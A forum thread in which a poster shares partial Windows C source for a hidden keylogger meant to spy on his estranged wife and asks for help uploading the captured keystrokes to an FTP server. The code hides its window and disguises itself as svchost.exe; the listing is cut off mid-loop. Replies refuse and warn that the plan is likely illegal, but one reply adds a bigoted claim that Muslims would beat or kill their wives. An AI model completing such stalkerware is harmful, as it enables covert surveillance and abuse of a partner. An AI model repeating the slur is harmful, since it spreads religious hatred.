My wife and I have recently "Taken a break" To put it in her words. In doing this we promised one another that we wouldn't be seeing any other people. However, I suspect she is seeing another man so I'd like to be able to keylog her and see whom she is talking to and what she is saying to him. I then decided to make this:

#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);


int main(void)
{
    HWND stealth; /*creating stealth (window is not visible)*/
    AllocConsole();
    stealth=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(stealth,0);
   
    int test,create;
    test=test_key();/*check if key is available for opening*/
         
    if (test==2)/*create key*/
    {
        char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
        create=create_key(path);
          
    }
        
   
    int t=get_keys();
    
    return t;
}  

int get_keys(void)
{
            short character;
              while(1)
              {
                     sleep(10);/*to prevent 100% cpu usage*/
                     for(character=8;character<=222;character++)
                     {

The problem is, I can't just go over to her friend's house (Where she's living right now) and look at the logs for myself, so I'd like to be able to have this program upload the logs to an FTP server. I'm not very familiar with the language and help would be very much appreciated.

Additionally, I use Bloodshed Dev, just in case that helps anyone.

Fixed your code tags!

Due to the intent of the program, I, as well as many others, will not assist you with this project. If you believe your wife is not telling the truth and you cannot trust her, perhaps you should reconsider your marriage, as lying is generally not part of the agreement. Well, I suppose if you happen to be Muslim it's probably acceptable to beat it out of her or just plain kill her.

Issue 1) install your program on her/her friend's computer is probably illegal (I have a local county councilman who is being investigated by the FBI for this sort of stuff).
Issue 2) this is what private investigators get licensed to find out for you.
Issue 3) if she is violating her word and seeing someone else, the shreds of your marriage are worse than you thought. On the other hand, I know people whose marriages have survived this sort of thing. Spying on her isn't how you solve it, though.
Issue 4) putting this thing on her/her friend's computer is just as non-trivial as viewing the logs

I would strongly encourage you to step back and think about what's going on. I'm married, and know that this sort of situation would be terrible to try to deal with if it happened to me, but you really need to take care in trying to solve things constructively.
